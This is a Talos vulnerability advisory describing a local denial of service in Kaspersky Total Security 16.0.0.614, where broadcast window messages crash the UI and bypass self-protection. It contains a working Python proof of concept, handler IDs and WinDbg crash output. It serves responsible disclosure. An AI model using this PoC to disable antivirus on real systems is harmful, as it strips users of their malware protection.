Talos Vulnerability Report

Summary

An local denial of service vulnerability exists in window broadcast message handling functionality of Kaspersky Anti-Virus software. Sending certain unhandled window messages, attacker can cause application termination and in the same way bypass KAV self-protection mechanism.

Tested Versions

Kaspersky Total Security 16.0.0.614

Product URLs

http://www.kaspersky.com/

Details

Broadcast window messages are used by AVP protocol to certain actions trigger in Kaspersky AntiVirus such as switching current application tab to scan, tools, settings, etc. The below dispatcher code is responsible for calling appropriate handlers. The handlers for the wParam values listed result in termination of the Kaspersky AVP user application and protection bypass.

```
.text:56DB4150 sub_56DB4150 proc near
.text:56DB4150
.text:56DB4150                 push    esi
.text:56DB4151                 mov     esi, ecx
.text:56DB4153                 cmp     eax, 1Dh        ; switch 30 cases
.text:56DB4156                 ja      loc_56DB42DD    ; jumptable 671F415C default case
.text:56DB415C                 jmp     ds:off_56DB42E8[eax*4] ; switch jump
(...)

ParentalControl         -   7
DisableParentalControl  -   8
DisableProtection       -   14
EnableProtection        -   15
Reboot                  -   16
SilentUpdateOpen        -   17
SilentUpdateInfo        -   18
SilentUpdateCancel      -   19
```

Proof of Concept

```
import win32con
import win32api

messageName = "Kaspersky Anti-Virus"

def crash_avpui():
    msgID  = win32api.RegisterWindowMessage(messageName)
    wParam = 8 # one of crashing IDs
    lParam = 0
    print "[+] Sending message : Msg : 0x%x      wParam : 0x%x" % (msgID,wParam)
    win32api.PostMessage(win32con.HWND_BROADCAST,msgID,wParam,lParam)
    print "[+] Message sent"

if __name__ == "__main__":
    crash_avpui()
```

Crash analysis

```
0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for avpuimain.dll -
*** ERROR: Module load completed but symbols could not be loaded for avpui.exe
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for DumpWriter.dll -
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for instrumental_services.dll -
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ushata.dll -

FAULTING_IP:
KERNELBASE!RaiseException+58
7565b760 c9              leave

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 7565b760 (KERNELBASE!RaiseException+0x00000058)
   ExceptionCode: e0434352 (CLR exception)
  ExceptionFlags: 00000001
NumberParameters: 5
   Parameter[0]: 80070057
   Parameter[1]: 00000000
   Parameter[2]: 00000000
   Parameter[3]: 00000000
   Parameter[4]: 6ea50000

DEFAULT_BUCKET_ID:  WRONG_SYMBOLS

PROCESS_NAME:  avpui.exe

ERROR_CODE: (NTSTATUS) 0xe0434352 - <Unable to get error code text>

EXCEPTION_CODE: (NTSTATUS) 0xe0434352 - <Unable to get error code text>

EXCEPTION_PARAMETER1:  80070057

EXCEPTION_PARAMETER2:  00000000

EXCEPTION_PARAMETER3:  00000000

EXCEPTION_PARAMETER4: 0

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

APP:  avpui.exe

MANAGED_STACK: !dumpstack -EE
No export dumpstack found

PRIMARY_PROBLEM_CLASS:  WRONG_SYMBOLS

BUGCHECK_STR:  APPLICATION_FAULT_WRONG_SYMBOLS_CLR_EXCEPTION

LAST_CONTROL_TRANSFER:  from 6eb7d135 to 7565b760

STACK_TEXT:
0012e97c 6eb7d135 e0434352 00000001 00000005 KERNELBASE!RaiseException+0x58
0012ea18 6eb7db8c 00000000 019ac3a0 0012eb98 clr!RaiseTheExceptionInternalOnly+0x27c
0012eae0 0f88498c 1144adc8 1144add4 00000000 clr!IL_Throw+0x138
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012ebe0 772b22a5 00000000 0000000f 0012ebfc 0xf88498c
0012ebf0 015ae23e 6c0f323d 0012ec24 0ebc3615 ntdll!LdrGetProcedureAddress+0x18
0012ec14 6ea512cc 00000000 0012f290 0012ec90 0x15ae23e
0012ec24 646e6687 0000000f 00000000 0000000f clr!IJWNOADThunkJumpTarget+0x15
0012ec90 646f8444 0148b4c0 0000000f 00000000 avpuimain!SoundPlayW+0x10d87
0012ecf4 6470d435 0000000f 00000000 0012ed38 avpuimain!SoundPlayW+0x22b44
0012ed04 6471fea4 0147ad58 0000000f 00000000 avpuimain!SoundPlayW+0x37b35
0012ed38 6471fdc2 0012ee98 0012ed5b 00246317 avpuimain!SoundPlayW+0x4a5a4
0012ed6c 646d0428 0012eda0 002463e3 0147acf8 avpuimain!SoundPlayW+0x4a4c2
0012ed98 646fb491 0146a2b8 0146a240 0012ee10 avpuimain+0x20428
0012eeb8 646d988f 0000000f 00000000 0000800a avpuimain!SoundPlayW+0x25b91
0012eef8 646d99a7 0012ef54 0000800a 0000000f avpuimain!SoundPlayW+0x3f8f
0012ef60 75a1c4e7 00010166 0000800a 0000000f avpuimain!SoundPlayW+0x40a7
0012ef8c 75a1c5e7 646d9930 00010166 0000800a user32!InternalCallWinProc+0x23
0012f004 75a1cc19 00000000 646d9930 00010166 user32!UserCallWinProcCheckWow+0x14b
0012f064 75a1cc70 646d9930 00000000 0012f138 user32!DispatchMessageWorker+0x35e
0012f074 646f0617 0012f090 00247f43 75a137d8 user32!DispatchMessageW+0xf
0012f138 646f0b16 00247c7b 0012f308 0012f290 avpuimain!SoundPlayW+0x1ad17
0012f200 646f0282 00247c1f 00000000 0012f274 avpuimain!SoundPlayW+0x1b216
0012f264 646d3bee 0012f290 0012f844 0068002d avpuimain!SoundPlayW+0x1a982
0012f7c8 001f15f3 001f0000 00000000 002619a0 avpuimain!Execute+0x8e
0012f848 001f3108 001f0000 00000000 002619a0 avpui+0x15f3
0012f8d8 75973c45 7ffd3000 0012f924 772b37f5 avpui+0x3108
0012f8e4 772b37f5 7ffd3000 77227104 00000000 kernel32!BaseThreadInitThunk+0xe
0012f924 772b37c8 001f315b 7ffd3000 00000000 ntdll!__RtlUserThreadStart+0x70
0012f93c 00000000 001f315b 7ffd3000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  ~0s; .ecxr ; kb

FOLLOWUP_IP:
clr!IJWNOADThunkJumpTarget+15
6ea512cc 85c0            test    eax,eax

SYMBOL_STACK_INDEX:  6

SYMBOL_NAME:  clr!IJWNOADThunkJumpTarget+15

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: clr

IMAGE_NAME:  clr.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  5584e56f

FAILURE_BUCKET_ID:  WRONG_SYMBOLS_e0434352_clr.dll!IJWNOADThunkJumpTarget

BUCKET_ID:  APPLICATION_FAULT_WRONG_SYMBOLS_CLR_EXCEPTION_clr!IJWNOADThunkJumpTarget+15

WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/avpui_exe/16_0_0_625/55b135da/KERNELBASE_dll/6_1_7601_17514/4ce7b8f0/e0434352/0000b760.htm?Retriage=1

Followup: MachineOwner
---------
```

Timeline

2016-03-17 - Discovery
2016-04-29 - Reported
2016-09-05 - Released